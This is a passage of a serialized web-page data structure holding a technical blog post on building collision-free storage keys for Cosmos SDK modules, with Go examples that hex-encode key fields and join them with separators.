arbitrary characters (including the separator), collisions can still happen.",{"type":23,"tag":202,"props":85535,"children":85537},{"code":85536},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[85538],{"type":23,"tag":209,"props":85539,"children":85540},{"__ignoreMap":7},[85541],{"type":28,"value":85536},{"type":23,"tag":24,"props":85543,"children":85544},{},[85545],{"type":28,"value":85546},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":23,"tag":202,"props":85548,"children":85550},{"code":85549,"language":76217,"meta":7,"className":76218,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[85551],{"type":23,"tag":209,"props":85552,"children":85553},{"__ignoreMap":7},[85554,85565,85580,85587,85594,85601,85622,85638,85676,85683,85720,85727,85747,85762,85798,85805,85840,85847,85874,85885,85896,85907,85919,85930,85938],{"type":23,"tag":213,"props":85555,"children":85556},{"class":215,"line":216},[85557,85561],{"type":23,"tag":213,"props":85558,"children":85559},{"style":230},[85560],{"type":28,"value":632},{"type":23,"tag":213,"props":85562,"children":85563},{"style":220},[85564],{"type":28,"value":78619},{"type":23,"tag":213,"props":85566,"children":85567},{"class":215,"line":226},[85568,85572,85576],{"type":23,"tag":213,"props":85569,"children":85570},{"style":268},[85571],{"type":28,"value":85384},{"type":23,"tag":213,"props":85573,"children":85574},{"style":274},[85575],{"type":28,"value":511},{"type":23,"tag":213,"props":85577,"children":85578},{"style":246},[85579],{"type":28,"value":85393},{"type":23,"tag":213,"props":85581,"children":85582},{"class":215,"line":524},[85583],{"type":23,"tag":213,"props":85584,"children":85585},{"style":220},[85586],{"type":28,"value":2183},{"type":23,"tag":213,"props":85588,"children":85589},{"class":215,"line":533},[85590],{"type":23,"tag":213,"props":85591,"children":85592},{"emptyLinePlaceholder":18},[85593],{"type":28,"value":530},{"type":23,"tag":213,"props":85595,"children":85596},{"class":215,"line":543},[85597],{"type":23,"tag":213,"props":85598,"children":85599},{"emptyLinePlaceholder":18},[85600],{"type":28,"value":530},{"type":23,"tag":213,"props":85602,"children":85603},{"class":215,"line":551},[85604,85609,85613,85618],{"type":23,"tag":213,"props":85605,"children":85606},{"style":268},[85607],{"type":28,"value":85608},"usernameEncoded",{"type":23,"tag":213,"props":85610,"children":85611},{"style":274},[85612],{"type":28,"value":76469},{"type":23,"tag":213,"props":85614,"children":85615},{"style":257},[85616],{"type":28,"value":85617}," make",{"type":23,"tag":213,"props":85619,"children":85620},{"style":220},[85621],{"type":28,"value":1511},{"type":23,"tag":213,"props":85623,"children":85624},{"class":215,"line":570},[85625,85630,85634],{"type":23,"tag":213,"props":85626,"children":85627},{"style":220},[85628],{"type":28,"value":85629}," []",{"type":23,"tag":213,"props":85631,"children":85632},{"style":290},[85633],{"type":28,"value":84818},{"type":23,"tag":213,"props":85635,"children":85636},{"style":220},[85637],{"type":28,"value":944},{"type":23,"tag":213,"props":85639,"children":85640},{"class":215,"line":655},[85641,85646,85650,85655,85659,85663,85667,85671],{"type":23,"tag":213,"props":85642,"children":85643},{"style":268},[85644],{"type":28,"value":85645}," hex",{"type":23,"tag":213,"props":85647,"children":85648},{"style":220},[85649],{"type":28,"value":124},{"type":23,"tag":213,"props":85651,"children":85652},{"style":257},[85653],{"type":28,"value":85654},"EncodedLen",{"type":23,"tag":213,"props":85656,"children":85657},{"style":220},[85658],{"type":28,"value":265},{"type":23,"tag":213,"props":85660,"children":85661},{"style":257},[85662],{"type":28,"value":9225},{"type":23,"tag":213,"props":85664,"children":85665},{"style":220},[85666],{"type":28,"value":265},{"type":23,"tag":213,"props":85668,"children":85669},{"style":268},[85670],{"type":28,"value":85524},{"type":23,"tag":213,"props":85672,"children":85673},{"style":220},[85674],{"type":28,"value":85675},")),\n",{"type":23,"tag":213,"props":85677,"children":85678},{"class":215,"line":1176},[85679],{"type":23,"tag":213,"props":85680,"children":85681},{"style":220},[85682],{"type":28,"value":2183},{"type":23,"tag":213,"props":85684,"children":85685},{"class":215,"line":1202},[85686,85691,85695,85700,85704,85708,85712,85716],{"type":23,"tag":213,"props":85687,"children":85688},{"style":268},[85689],{"type":28,"value":85690},"hex",{"type":23,"tag":213,"props":85692,"children":85693},{"style":220},[85694],{"type":28,"value":124},{"type":23,"tag":213,"props":85696,"children":85697},{"style":257},[85698],{"type":28,"value":85699},"Encode",{"type":23,"tag":213,"props":85701,"children":85702},{"style":220},[85703],{"type":28,"value":265},{"type":23,"tag":213,"props":85705,"children":85706},{"style":268},[85707],{"type":28,"value":85608},{"type":23,"tag":213,"props":85709,"children":85710},{"style":220},[85711],{"type":28,"value":424},{"type":23,"tag":213,"props":85713,"children":85714},{"style":268},[85715],{"type":28,"value":85524},{"type":23,"tag":213,"props":85717,"children":85718},{"style":220},[85719],{"type":28,"value":2183},{"type":23,"tag":213,"props":85721,"children":85722},{"class":215,"line":1758},[85723],{"type":23,"tag":213,"props":85724,"children":85725},{"emptyLinePlaceholder":18},[85726],{"type":28,"value":530},{"type":23,"tag":213,"props":85728,"children":85729},{"class":215,"line":1767},[85730,85735,85739,85743],{"type":23,"tag":213,"props":85731,"children":85732},{"style":268},[85733],{"type":28,"value":85734},"positionNameEncoded",{"type":23,"tag":213,"props":85736,"children":85737},{"style":274},[85738],{"type":28,"value":76469},{"type":23,"tag":213,"props":85740,"children":85741},{"style":257},[85742],{"type":28,"value":85617},{"type":23,"tag":213,"props":85744,"children":85745},{"style":220},[85746],{"type":28,"value":1511},{"type":23,"tag":213,"props":85748,"children":85749},{"class":215,"line":1789},[85750,85754,85758],{"type":23,"tag":213,"props":85751,"children":85752},{"style":220},[85753],{"type":28,"value":85629},{"type":23,"tag":213,"props":85755,"children":85756},{"style":290},[85757],{"type":28,"value":84818},{"type":23,"tag":213,"props":85759,"children":85760},{"style":220},[85761],{"type":28,"value":944},{"type":23,"tag":213,"props":85763,"children":85764},{"class":215,"line":1812},[85765,85769,85773,85777,85781,85785,85789,85794],{"type":23,"tag":213,"props":85766,"children":85767},{"style":268},[85768],{"type":28,"value":85645},{"type":23,"tag":213,"props":85770,"children":85771},{"style":220},[85772],{"type":28,"value":124},{"type":23,"tag":213,"props":85774,"children":85775},{"style":257},[85776],{"type":28,"value":85654},{"type":23,"tag":213,"props":85778,"children":85779},{"style":220},[85780],{"type":28,"value":265},{"type":23,"tag":213,"props":85782,"children":85783},{"style":257},[85784],{"type":28,"value":9225},{"type":23,"tag":213,"props":85786,"children":85787},{"style":220},[85788],{"type":28,"value":265},{"type":23,"tag":213,"props":85790,"children":85791},{"style":268},[85792],{"type":28,"value":85793},"positionName",{"type":23,"tag":213,"props":85795,"children":85796},{"style":220},[85797],{"type":28,"value":85675},{"type":23,"tag":213,"props":85799,"children":85800},{"class":215,"line":1838},[85801],{"type":23,"tag":213,"props":85802,"children":85803},{"style":220},[85804],{"type":28,"value":2183},{"type":23,"tag":213,"props":85806,"children":85807},{"class":215,"line":1851},[85808,85812,85816,85820,85824,85828,85832,85836],{"type":23,"tag":213,"props":85809,"children":85810},{"style":268},[85811],{"type":28,"value":85690},{"type":23,"tag":213,"props":85813,"children":85814},{"style":220},[85815],{"type":28,"value":124},{"type":23,"tag":213,"props":85817,"children":85818},{"style":257},[85819],{"type":28,"value":85699},{"type":23,"tag":213,"props":85821,"children":85822},{"style":220},[85823],{"type":28,"value":265},{"type":23,"tag":213,"props":85825,"children":85826},{"style":268},[85827],{"type":28,"value":85734},{"type":23,"tag":213,"props":85829,"children":85830},{"style":220},[85831],{"type":28,"value":424},{"type":23,"tag":213,"props":85833,"children":85834},{"style":268},[85835],{"type":28,"value":85793},{"type":23,"tag":213,"props":85837,"children":85838},{"style":220},[85839],{"type":28,"value":2183},{"type":23,"tag":213,"props":85841,"children":85842},{"class":215,"line":1864},[85843],{"type":23,"tag":213,"props":85844,"children":85845},{"emptyLinePlaceholder":18},[85846],{"type":28,"value":530},{"type":23,"tag":213,"props":85848,"children":85849},{"class":215,"line":1890},[85850,85854,85858,85862,85866,85870],{"type":23,"tag":213,"props":85851,"children":85852},{"style":268},[85853],{"type":28,"value":85259},{"type":23,"tag":213,"props":85855,"children":85856},{"style":274},[85857],{"type":28,"value":76469},{"type":23,"tag":213,"props":85859,"children":85860},{"style":268},[85861],{"type":28,"value":82287},{"type":23,"tag":213,"props":85863,"children":85864},{"style":220},[85865],{"type":28,"value":124},{"type":23,"tag":213,"props":85867,"children":85868},{"style":257},[85869],{"type":28,"value":85276},{"type":23,"tag":213,"props":85871,"children":85872},{"style":220},[85873],{"type":28,"value":1511},{"type":23,"tag":213,"props":85875,"children":85876},{"class":215,"line":1899},[85877,85881],{"type":23,"tag":213,"props":85878,"children":85879},{"style":246},[85880],{"type":28,"value":85442},{"type":23,"tag":213,"props":85882,"children":85883},{"style":220},[85884],{"type":28,"value":944},{"type":23,"tag":213,"props":85886,"children":85887},{"class":215,"line":1912},[85888,85892],{"type":23,"tag":213,"props":85889,"children":85890},{"style":268},[85891],{"type":28,"value":85300},{"type":23,"tag":213,"props":85893,"children":85894},{"style":220},[85895],{"type":28,"value":944},{"type":23,"tag":213,"props":85897,"children":85898},{"class":215,"line":1921},[85899,85903],{"type":23,"tag":213,"props":85900,"children":85901},{"style":268},[85902],{"type":28,"value":85384},{"type":23,"tag":213,"props":85904,"children":85905},{"style":220},[85906],{"type":28,"value":944},{"type":23,"tag":213,"props":85908,"children":85909},{"class":215,"line":3879},[85910,85915],{"type":23,"tag":213,"props":85911,"children":85912},{"style":268},[85913],{"type":28,"value":85914}," usernameEncoded",{"type":23,"tag":213,"props":85916,"children":85917},{"style":220},[85918],{"type":28,"value":944},{"type":23,"tag":213,"props":85920,"children":85921},{"class":215,"line":3887},[85922,85926],{"type":23,"tag":213,"props":85923,"children":85924},{"style":268},[85925],{"type":28,"value":85384},{"type":23,"tag":213,"props":85927,"children":85928},{"style":220},[85929],{"type":28,"value":944},{"type":23,"tag":213,"props":85931,"children":85932},{"class":215,"line":3918},[85933],{"type":23,"tag":213,"props":85934,"children":85935},{"style":268},[85936],{"type":28,"value":85937}," positionNameEncoded\n",{"type":23,"tag":213,"props":85939,"children":85940},{"class":215,"line":3926},[85941],{"type":23,"tag":213,"props":85942,"children":85943},{"style":220},[85944],{"type":28,"value":2183},{"type":23,"tag":24,"props":85946,"children":85947},{},[85948,85950,85955],{"type":28,"value":85949},"We did it. We finally eliminated all potential ",{"type":23,"tag":209,"props":85951,"children":85953},{"className":85952},[],[85954],{"type":28,"value":85259},{"type":28,"value":85956}," collisions.",{"type":23,"tag":24,"props":85958,"children":85959},{},[85960],{"type":28,"value":85961},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":23,"tag":24,"props":85963,"children":85964},{},[85965,85967,85973,85975,85980,85982,85987,85989,85994,85996,86002],{"type":28,"value":85966},"In the Cosmos framework, it is common for each ",{"type":23,"tag":209,"props":85968,"children":85970},{"className":85969},[],[85971],{"type":28,"value":85972},"Module",{"type":28,"value":85974}," to own a few ",{"type":23,"tag":209,"props":85976,"children":85978},{"className":85977},[],[85979],{"type":28,"value":85030},{"type":28,"value":85981}," and have individual ",{"type":23,"tag":209,"props":85983,"children":85985},{"className":85984},[],[85986],{"type":28,"value":79998},{"type":28,"value":85988},"s managing access to storages. It's also important to note that each ",{"type":23,"tag":209,"props":85990,"children":85992},{"className":85991},[],[85993],{"type":28,"value":85030},{"type":28,"value":85995}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":23,"tag":209,"props":85997,"children":85999},{"className":85998},[],[86000],{"type":28,"value":86001},"Modules",{"type":28,"value":124},{"type":23,"tag":24,"props":86004,"children":86005},{},[86006,86008,86013],{"type":28,"value":86007},"With that being said, what if we have to maintain more than one structure within the same ",{"type":23,"tag":209,"props":86009,"children":86011},{"className":86010},[],[86012],{"type":28,"value":85030},{"type":28,"value":2126},{"type":23,"tag":24,"props":86015,"children":86016},{},[86017,86019,86025,86027,86032],{"type":28,"value":86018},"To demonstrate this scenario, we introduce the ",{"type":23,"tag":209,"props":86020,"children":86022},{"className":86021},[],[86023],{"type":28,"value":86024},"NameToAddressMap",{"type":28,"value":86026}," structure, which will be stored in the same ",{"type":23,"tag":209,"props":86028,"children":86030},{"className":86029},[],[86031],{"type":28,"value":85030},{"type":28,"value":86033}," we previously used.",{"type":23,"tag":202,"props":86035,"children":86037},{"code":86036,"language":76217,"meta":7,"className":76218,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n map[VaultId]map[Username]map[AddressName]Address\n",[86038],{"type":23,"tag":209,"props":86039,"children":86040},{"__ignoreMap":7},[86041,86056,86071,86078,86093,86112,86127,86134,86149,86204,86211,86227,86247,86262,86269,86285],{"type":23,"tag":213,"props":86042,"children":86043},{"class":215,"line":216},[86044,86048,86052],{"type":23,"tag":213,"props":86045,"children":86046},{"style":230},[86047],{"type":28,"value":32812},{"type":23,"tag":213,"props":86049,"children":86050},{"style":290},[86051],{"type":28,"value":85076},{"type":23,"tag":213,"props":86053,"children":86054},{"style":290},[86055],{"type":28,"value":76255},{"type":23,"tag":213,"props":86057,"children":86058},{"class":215,"line":226},[86059,86063,86067],{"type":23,"tag":213,"props":86060,"children":86061},{"style":230},[86062],{"type":28,"value":32812},{"type":23,"tag":213,"props":86064,"children":86065},{"style":290},[86066],{"type":28,"value":85092},{"type":23,"tag":213,"props":86068,"children":86069},{"style":290},[86070],{"type":28,"value":85097},{"type":23,"tag":213,"props":86072,"children":86073},{"class":215,"line":524},[86074],{"type":23,"tag":213,"props":86075,"children":86076},{"emptyLinePlaceholder":18},[86077],{"type":28,"value":530},{"type":23,"tag":213,"props":86079,"children":86080},{"class":215,"line":533},[86081,86085,86089],{"type":23,"tag":213,"props":86082,"children":86083},{"style":230},[86084],{"type":28,"value":32812},{"type":23,"tag":213,"props":86086,"children":86087},{"style":290},[86088],{"type":28,"value":85109},{"type":23,"tag":213,"props":86090,"children":86091},{"style":290},[86092],{"type":28,"value":85097},{"type":23,"tag":213,"props":86094,"children":86095},{"class":215,"line":543},[86096,86100,86104,86108],{"type":23,"tag":213,"props":86097,"children":86098},{"style":230},[86099],{"type":28,"value":32812},{"type":23,"tag":213,"props":86101,"children":86102},{"style":290},[86103],{"type":28,"value":7514},{"type":23,"tag":213,"props":86105,"children":86106},{"style":230},[86107],{"type":28,"value":887},{"type":23,"tag":213,"props":86109,"children":86110},{"style":220},[86111],{"type":28,"value":1375},{"type":23,"tag":213,"props":86113,"children":86114},{"class":215,"line":551},[86115,86119,86123],{"type":23,"tag":213,"props":86116,"children":86117},{"style":268},[86118],{"type":28,"value":43288},{"type":23,"tag":213,"props":86120,"children":86121},{"style":220},[86122],{"type":28,"value":76280},{"type":23,"tag":213,"props":86124,"children":86125},{"style":290},[86126],{"type":28,"value":84281},{"type":23,"tag":213,"props":86128,"children":86129},{"class":215,"line":570},[86130],{"type":23,"tag":213,"props":86131,"children":86132},{"style":220},[86133],{"type":28,"value":1208},{"type":23,"tag":213,"props":86135,"children":86136},{"class":215,"line":655},[86137,86141,86145],{"type":23,"tag":213,"props":86138,"children":86139},{"style":230},[86140],{"type":28,"value":32812},{"type":23,"tag":213,"props":86142,"children":86143},{"style":290},[86144],{"type":28,"value":85166},{"type":23,"tag":213,"props":86146,"children":86147},{"style":274},[86148],{"type":28,"value":85171},{"type":23,"tag":213,"props":86150,"children":86151},{"class":215,"line":1176},[86152,86156,86160,86164,86168,86172,86176,86180,86184,86188,86192,86196,86200],{"type":23,"tag":213,"props":86153,"children":86154},{"style":230},[86155],{"type":28,"value":85179},{"type":23,"tag":213,"props":86157,"children":86158},{"style":220},[86159],{"type":28,"value":3821},{"type":23,"tag":213,"props":86161,"children":86162},{"style":290},[86163],{"type":28,"value":85188},{"type":23,"tag":213,"props":86165,"children":86166},{"style":220},[86167],{"type":28,"value":15470},{"type":23,"tag":213,"props":86169,"children":86170},{"style":230},[86171],{"type":28,"value":67156},{"type":23,"tag":213,"props":86173,"children":86174},{"style":220},[86175],{"type":28,"value":3821},{"type":23,"tag":213,"props":86177,"children":86178},{"style":290},[86179],{"type":28,"value":85205},{"type":23,"tag":213,"props":86181,"children":86182},{"style":220},[86183],{"type":28,"value":15470},{"type":23,"tag":213,"props":86185,"children":86186},{"style":230},[86187],{"type":28,"value":67156},{"type":23,"tag":213,"props":86189,"children":86190},{"style":220},[86191],{"type":28,"value":3821},{"type":23,"tag":213,"props":86193,"children":86194},{"style":290},[86195],{"type":28,"value":85222},{"type":23,"tag":213,"props":86197,"children":86198},{"style":220},[86199],{"type":28,"value":15470},{"type":23,"tag":213,"props":86201,"children":86202},{"style":290},[86203],{"type":28,"value":85231},{"type":23,"tag":213,"props":86205,"children":86206},{"class":215,"line":1202},[86207],{"type":23,"tag":213,"props":86208,"children":86209},{"emptyLinePlaceholder":18},[86210],{"type":28,"value":530},{"type":23,"tag":213,"props":86212,"children":86213},{"class":215,"line":1758},[86214,86218,86223],{"type":23,"tag":213,"props":86215,"children":86216},{"style":230},[86217],{"type":28,"value":32812},{"type":23,"tag":213,"props":86219,"children":86220},{"style":290},[86221],{"type":28,"value":86222}," AddressName",{"type":23,"tag":213,"props":86224,"children":86225},{"style":290},[86226],{"type":28,"value":85097},{"type":23,"tag":213,"props":86228,"children":86229},{"class":215,"line":1767},[86230,86234,86239,86243],{"type":23,"tag":213,"props":86231,"children":86232},{"style":230},[86233],{"type":28,"value":32812},{"type":23,"tag":213,"props":86235,"children":86236},{"style":290},[86237],{"type":28,"value":86238}," Address",{"type":23,"tag":213,"props":86240,"children":86241},{"style":230},[86242],{"type":28,"value":887},{"type":23,"tag":213,"props":86244,"children":86245},{"style":220},[86246],{"type":28,"value":1375},{"type":23,"tag":213,"props":86248,"children":86249},{"class":215,"line":1789},[86250,86254,86258],{"type":23,"tag":213,"props":86251,"children":86252},{"style":268},[86253],{"type":28,"value":1064},{"type":23,"tag":213,"props":86255,"children":86256},{"style":220},[86257],{"type":28,"value":76280},{"type":23,"tag":213,"props":86259,"children":86260},{"style":290},[86261],{"type":28,"value":84281},{"type":23,"tag":213,"props":86263,"children":86264},{"class":215,"line":1812},[86265],{"type":23,"tag":213,"props":86266,"children":86267},{"style":220},[86268],{"type":28,"value":1208},{"type":23,"tag":213,"props":86270,"children":86271},{"class":215,"line":1838},[86272,86276,86281],{"type":23,"tag":213,"props":86273,"children":86274},{"style":230},[86275],{"type":28,"value":32812},{"type":23,"tag":213,"props":86277,"children":86278},{"style":290},[86279],{"type":28,"value":86280}," AddressMap",{"type":23,"tag":213,"props":86282,"children":86283},{"style":274},[86284],{"type":28,"value":85171},{"type":23,"tag":213,"props":86286,"children":86287},{"class":215,"line":1851},[86288,86292,86296,86300,86304,86308,86312,86316,86320,86324,86328,86333,86337],{"type":23,"tag":213,"props":86289,"children":86290},{"style":230},[86291],{"type":28,"value":85179},{"type":23,"tag":213,"props":86293,"children":86294},{"style":220},[86295],{"type":28,"value":3821},{"type":23,"tag":213,"props":86297,"children":86298},{"style":290},[86299],{"type":28,"value":85188},{"type":23,"tag":213,"props":86301,"children":86302},{"style":220},[86303],{"type":28,"value":15470},{"type":23,"tag":213,"props":86305,"children":86306},{"style":230},[86307],{"type":28,"value":67156},{"type":23,"tag":213,"props":86309,"children":86310},{"style":220},[86311],{"type":28,"value":3821},{"type":23,"tag":213,"props":86313,"children":86314},{"style":290},[86315],{"type":28,"value":85205},{"type":23,"tag":213,"props":86317,"children":86318},{"style":220},[86319],{"type":28,"value":15470},{"type":23,"tag":213,"props":86321,"children":86322},{"style":230},[86323],{"type":28,"value":67156},{"type":23,"tag":213,"props":86325,"children":86326},{"style":220},[86327],{"type":28,"value":3821},{"type":23,"tag":213,"props":86329,"children":86330},{"style":290},[86331],{"type":28,"value":86332},"AddressName",{"type":23,"tag":213,"props":86334,"children":86335},{"style":220},[86336],{"type":28,"value":15470},{"type":23,"tag":213,"props":86338,"children":86339},{"style":290},[86340],{"type":28,"value":86341},"Address\n",{"type":23,"tag":24,"props":86343,"children":86344},{},[86345],{"type":28,"value":86346},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":23,"tag":202,"props":86348,"children":86350},{"code":86349,"language":76217,"meta":7,"className":76218,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[86351],{"type":23,"tag":209,"props":86352,"children":86353},{"__ignoreMap":7},[86354,86365,86380,86387,86394,86401,86417,86432,86459,86482,86501,86517,86553,86560,86595,86602,86622,86637,86672,86679,86714,86721,86749,86761,86773,86785,86797,86808,86820,86827,86834,86841,86848,86864,86879,86903,86926,86945,86960,86995,87002,87037,87044,87064,87079,87114,87121,87157,87164,87191,87202,87213,87224,87235,87246,87258,87265],{"type":23,"tag":213,"props":86355,"children":86356},{"class":215,"line":216},[86357,86361],{"type":23,"tag":213,"props":86358,"children":86359},{"style":230},[86360],{"type":28,"value":632},{"type":23,"tag":213,"props":86362,"children":86363},{"style":220},[86364],{"type":28,"value":78619},{"type":23,"tag":213,"props":86366,"children":86367},{"class":215,"line":226},[86368,86372,86376],{"type":23,"tag":213,"props":86369,"children":86370},{"style":268},[86371],{"type":28,"value":85384},{"type":23,"tag":213,"props":86373,"children":86374},{"style":274},[86375],{"type":28,"value":511},{"type":23,"tag":213,"props":86377,"children":86378},{"style":246},[86379],{"type":28,"value":85393},{"type":23,"tag":213,"props":86381,"children":86382},{"class":215,"line":524},[86383],{"type":23,"tag":213,"props":86384,"children":86385},{"style":220},[86386],{"type":28,"value":2183},{"type":23,"tag":213,"props":86388,"children":86389},{"class":215,"line":533},[86390],{"type":23,"tag":213,"props":86391,"children":86392},{"emptyLinePlaceholder":18},[86393],{"type":28,"value":530},{"type":23,"tag":213,"props":86395,"children":86396},{"class":215,"line":543},[86397],{"type":23,"tag":213,"props":86398,"children":86399},{"emptyLinePlaceholder":18},[86400],{"type":28,"value":530},{"type":23,"tag":213,"props":86402,"children":86403},{"class":215,"line":551},[86404,86408,86413],{"type":23,"tag":213,"props":86405,"children":86406},{"style":230},[86407],{"type":28,"value":76353},{"type":23,"tag":213,"props":86409,"children":86410},{"style":257},[86411],{"type":28,"value":86412}," PositionMapKey",{"type":23,"tag":213,"props":86414,"children":86415},{"style":220},[86416],{"type":28,"value":1511},{"type":23,"tag":213,"props":86418,"children":86419},{"class":215,"line":570},[86420,86424,86428],{"type":23,"tag":213,"props":86421,"children":86422},{"style":268},[86423],{"type":28,"value":85300},{"type":23,"tag":213,"props":86425,"children":86426},{"style":290},[86427],{"type":28,"value":76474},{"type":23,"tag":213,"props":86429,"children":86430},{"style":220},[86431],{"type":28,"value":944},{"type":23,"tag":213,"props":86433,"children":86434},{"class":215,"line":655},[86435,86439,86443,86447,86451,86455],{"type":23,"tag":213,"props":86436,"children":86437},{"style":268},[86438],{"type":28,"value":85312},{"type":23,"tag":213,"props":86440,"children":86441},{"style":220},[86442],{"type":28,"value":424},{"type":23,"tag":213,"props":86444,"children":86445},{"style":268},[86446],{"type":28,"value":85793},{"type":23,"tag":213,"props":86448,"children":86449},{"style":220},[86450],{"type":28,"value":76280},{"type":23,"tag":213,"props":86452,"children":86453},{"style":290},[86454],{"type":28,"value":84818},{"type":23,"tag":213,"props":86456,"children":86457},{"style":220},[86458],{"type":28,"value":944},{"type":23,"tag":213,"props":86460,"children":86461},{"class":215,"line":1176},[86462,86466,86470,86474,86478],{"type":23,"tag":213,"props":86463,"children":86464},{"style":220},[86465],{"type":28,"value":76435},{"type":23,"tag":213,"props":86467,"children":86468},{"style":268},[86469],{"type":28,"value":72209},{"type":23,"tag":213,"props":86471,"children":86472},{"style":220},[86473],{"type":28,"value":76280},{"type":23,"tag":213,"props":86475,"children":86476},{"style":290},[86477],{"type":28,"value":84818},{"type":23,"tag":213,"props":86479,"children":86480},{"style":220},[86481],{"type":28,"value":14870},{"type":23,"tag":213,"props":86483,"children":86484},{"class":215,"line":1202},[86485,86489,86493,86497],{"type":23,"tag":213,"props":86486,"children":86487},{"style":268},[86488],{"type":28,"value":85914},{"type":23,"tag":213,"props":86490,"children":86491},{"style":274},[86492],{"type":28,"value":76469},{"type":23,"tag":213,"props":86494,"children":86495},{"style":257},[86496],{"type":28,"value":85617},{"type":23,"tag":213,"props":86498,"children":86499},{"style":220},[86500],{"type":28,"value":1511},{"type":23,"tag":213,"props":86502,"children":86503},{"class":215,"line":1758},[86504,86509,86513],{"type":23,"tag":213,"props":86505,"children":86506},{"style":220},[86507],{"type":28,"value":86508}," []",{"type":23,"tag":213,"props":86510,"children":86511},{"style":290},[86512],{"type":28,"value":84818},{"type":23,"tag":213,"props":86514,"children":86515},{"style":220},[86516],{"type":28,"value":944},{"type":23,"tag":213,"props":86518,"children":86519},{"class":215,"line":1767},[86520,86525,86529,86533,86537,86541,86545,86549],{"type":23,"tag":213,"props":86521,"children":86522},{"style":268},[86523],{"type":28,"value":86524}," hex",{"type":23,"tag":213,"props":86526,"children":86527},{"style":220},[86528],{"type":28,"value":124},{"type":23,"tag":213,"props":86530,"children":86531},{"style":257},[86532],{"type":28,"value":85654},{"type":23,"tag":213,"props":86534,"children":86535},{"style":220},[86536],{"type":28,"value":265},{"type":23,"tag":213,"props":86538,"children":86539},{"style":257},[86540],{"type":28,"value":9225},{"type":23,"tag":213,"props":86542,"children":86543},{"style":220},[86544],{"type":28,"value":265},{"type":23,"tag":213,"props":86546,"children":86547},{"style":268},[86548],{"type":28,"value":85524},{"type":23,"tag":213,"props":86550,"children":86551},{"style":220},[86552],{"type":28,"value":85675},{"type":23,"tag":213,"props":86554,"children":86555},{"class":215,"line":1789},[86556],{"type":23,"tag":213,"props":86557,"children":86558},{"style":220},[86559],{"type":28,"value":1918},{"type":23,"tag":213,"props":86561,"children":86562},{"class":215,"line":1812},[86563,86567,86571,86575,86579,86583,86587,86591],{"type":23,"tag":213,"props":86564,"children":86565},{"style":268},[86566],{"type":28,"value":85645},{"type":23,"tag":213,"props":86568,"children":86569},{"style":220},[86570],{"type":28,"value":124},{"type":23,"tag":213,"props":86572,"children":86573},{"style":257},[86574],{"type":28,"value":85699},{"type":23,"tag":213,"props":86576,"children":86577},{"style":220},[86578],{"type":28,"value":265},{"type":23,"tag":213,"props":86580,"children":86581},{"style":268},[86582],{"type":28,"value":85608},{"type":23,"tag":213,"props":86584,"children":86585},{"style":220},[86586],{"type":28,"value":424},{"type":23,"tag":213,"props":86588,"children":86589},{"style":268},[86590],{"type":28,"value":85524},{"type":23,"tag":213,"props":86592,"children":86593},{"style":220},[86594],{"type":28,"value":2183},{"type":23,"tag":213,"props":86596,"children":86597},{"class":215,"line":1838},[86598],{"type":23,"tag":213,"props":86599,"children":86600},{"emptyLinePlaceholder":18},[86601],{"type":28,"value":530},{"type":23,"tag":213,"props":86603,"children":86604},{"class":215,"line":1851},[86605,86610,86614,86618],{"type":23,"tag":213,"props":86606,"children":86607},{"style":268},[86608],{"type":28,"value":86609}," positionNameEncoded",{"type":23,"tag":213,"props":86611,"children":86612},{"style":274},[86613],{"type":28,"value":76469},{"type":23,"tag":213,"props":86615,"children":86616},{"style":257},[86617],{"type":28,"value":85617},{"type":23,"tag":213,"props":86619,"children":86620},{"style":220},[86621],{"type":28,"value":1511},{"type":23,"tag":213,"props":86623,"children":86624},{"class":215,"line":1864},[86625,86629,86633],{"type":23,"tag":213,"props":86626,"children":86627},{"style":220},[86628],{"type":28,"value":86508},{"type":23,"tag":213,"props":86630,"children":86631},{"style":290},[86632],{"type":28,"value":84818},{"type":23,"tag":213,"props":86634,"children":86635},{"style":220},[86636],{"type":28,"value":944},{"type":23,"tag":213,"props":86638,"children":86639},{"class":215,"line":1890},[86640,86644,86648,86652,86656,86660,86664,86668],{"type":23,"tag":213,"props":86641,"children":86642},{"style":268},[86643],{"type":28,"value":86524},{"type":23,"tag":213,"props":86645,"children":86646},{"style":220},[86647],{"type":28,"value":124},{"type":23,"tag":213,"props":86649,"children":86650},{"style":257},[86651],{"type":28,"value":85654},{"type":23,"tag":213,"props":86653,"children":86654},{"